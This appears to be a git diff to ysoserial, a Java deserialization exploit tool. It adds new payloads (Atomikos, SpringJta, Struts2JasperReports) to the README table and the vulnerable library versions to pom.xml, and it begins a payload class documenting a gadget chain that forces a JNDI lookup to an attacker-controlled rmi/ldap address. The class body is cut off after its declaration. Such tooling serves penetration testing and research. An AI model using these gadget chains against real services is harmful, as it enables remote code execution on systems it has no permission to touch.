diff --git a/README.md b/README.md
index b395c9a6..6dfa8c16 100644
--- a/README.md
+++ b/README.md
@@ -43,44 +43,46 @@ are not responsible or liable for misuse of the software. Use responsibly.
```shell
$ java -jar ysoserial.jar
Y SO SERIAL?
-Usage: java -jar ysoserial.jar [payload] '[command]'
+Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
Available payload types:
- Payload Authors Dependencies
- ------- ------- ------------
- AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
- BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
- C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
- Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
- Clojure @JackOfMostTrades clojure:1.8.0
- CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
- CommonsCollections1 @frohoff commons-collections:3.1
- CommonsCollections2 @frohoff commons-collections4:4.0
- CommonsCollections3 @frohoff commons-collections:3.1
- CommonsCollections4 @frohoff commons-collections4:4.0
- CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
- CommonsCollections6 @matthias_kaiser commons-collections:3.1
- CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
- FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
- Groovy1 @frohoff groovy:2.3.9
- Hibernate1 @mbechler
- Hibernate2 @mbechler
- JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
- JRMPClient @mbechler
- JRMPListener @mbechler
- JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
- JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
- Jdk7u21 @frohoff
- Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
- MozillaRhino1 @matthias_kaiser js:1.7R2
- MozillaRhino2 @_tint0 js:1.7R2
- Myfaces1 @mbechler
- Myfaces2 @mbechler
- ROME @mbechler rome:1.0
- Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
- Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
- URLDNS @gebl
- Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
- Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
+ Payload Authors Dependencies
+ ------- ------- ------------
+ Atomikos @pwntester, @sciccone transactions-osgi:4.0.6, jta:1.1
+ BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
+ C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
+ Clojure @JackOfMostTrades clojure:1.8.0
+ CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
+ CommonsCollections1 @frohoff commons-collections:3.1
+ CommonsCollections2 @frohoff commons-collections4:4.0
+ CommonsCollections3 @frohoff commons-collections:3.1
+ CommonsCollections4 @frohoff commons-collections4:4.0
+ CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
+ CommonsCollections6 @matthias_kaiser commons-collections:3.1
+ CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
+ FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
+ Groovy1 @frohoff groovy:2.3.9
+ Hibernate1 @mbechler
+ Hibernate2 @mbechler
+ JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
+ JRMPClient @mbechler
+ JRMPListener @mbechler
+ JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
+ JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
+ Jdk7u21 @frohoff
+ Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
+ MozillaRhino1 @matthias_kaiser js:1.7R2
+ MozillaRhino2 @_tint0 js:1.7R2
+ Myfaces1 @mbechler
+ Myfaces2 @mbechler
+ ROME @mbechler rome:1.0
+ Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
+ Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
+ SpringJta @zerothoughts, @sciccone spring-tx:5.1.7.RELEASE, spring-context:5.1.7.RELEASE, jta:1.1
+ Struts2JasperReports @sciccone struts2-core:2.5.20, struts2-jasperreports-plugin:2.5.20
+ URLDNS @gebl
+ Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
+ Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
+
```
## Examples
diff --git a/pom.xml b/pom.xml
index 97a10db9..ee1fbc6f 100644
--- a/pom.xml
+++ b/pom.xml
@@ -277,9 +277,9 @@
1.7R2
- javassist
- javassist
- 3.12.0.GA
+ javassist
+ javassist
+ 3.12.0.GA
org.jboss.weld
@@ -326,6 +326,36 @@
vaadin-server
7.7.14
+
+ org.scala-lang
+ scala-library
+ 2.12.6
+
+ com.atomikos
+ transactions-osgi
+ 4.0.6
+
+
+ org.springframework
+ spring-tx
+ 5.1.7.RELEASE
+
+
+ org.springframework
+ spring-context
+ 5.1.7.RELEASE
+
+
+ org.apache.struts
+ struts2-core
+ 2.5.20
+
+
+ org.apache.struts
+ struts2-jasperreports-plugin
+ 2.5.20
+
+
org.aspectj
aspectjweaver
@@ -336,6 +366,11 @@
click-nodeps
2.3.0
+
+ org.ceylon-lang
+ ceylon.language
+ 1.3.3
+
diff --git a/src/main/java/ysoserial/payloads/Atomikos.java b/src/main/java/ysoserial/payloads/Atomikos.java
new file mode 100644
index 00000000..f21e6880
--- /dev/null
+++ b/src/main/java/ysoserial/payloads/Atomikos.java
@@ -0,0 +1,77 @@
+package ysoserial.payloads;
+
+import javax.management.BadAttributeValueExpException;
+
+import com.atomikos.icatch.jta.RemoteClientUserTransaction;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+/**
+*
+* Gadget chain:
+*
+* javax/management/BadAttributeValueExpException.readObject()
+* com/atomikos/icatch/jta/RemoteClientUserTransaction.toString()
+* com/atomikos/icatch/jta/RemoteClientUserTransaction.checkSetup()
+* javax/naming/InitialContext.lookup()
+*
+*
+* Arguments:
+* - (rmi,ldap)://[:]/
+*
+*
+* @author pwntester
+* payload added by sciccone
+*
+* This gadget chain was also discovered by pwntester:
+* https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
+*
+*/
+@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
+@Dependencies( { "com.atomikos:transactions-osgi:4.0.6", "javax.transaction:jta:1.1" } )
+@Authors({ Authors.PWNTESTER, Authors.SCICCONE })
+public class Atomikos implements ObjectPayload